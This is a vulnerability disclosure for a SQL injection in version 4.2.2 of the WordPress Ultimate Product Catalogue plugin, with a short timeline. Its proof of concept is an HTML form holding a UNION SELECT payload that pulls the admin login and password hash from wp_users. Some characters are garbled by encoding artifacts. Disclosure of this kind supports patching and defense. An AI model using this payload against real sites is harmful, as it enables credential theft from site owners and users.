WordPress Ultimate Product Catalogue plugin version 4.2.2 suffers from a remote SQL injection vulnerability.
0b8f89a4cec8f5c5303d80a98a2d4d79# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection a Plugin WordPress a Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04
1 - Description:
Type user access: register user.
$_POST[aCatIDa] is not escaped.
http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/
2 - Proof of Concept:
1 a Login as regular user (created using wp-login.php?action=register):
2 a Using:
<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">
*delete a*a in code*
3 - Timeline:
- 22/05/2017 a Discovered
- 24/05/2017 a Vendor not finded
- **/06/2017 - Corrected
***Rename plugin txt to zip. Problem with gmail block.
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*Atenciosamente*
*Lenon Leiteaa*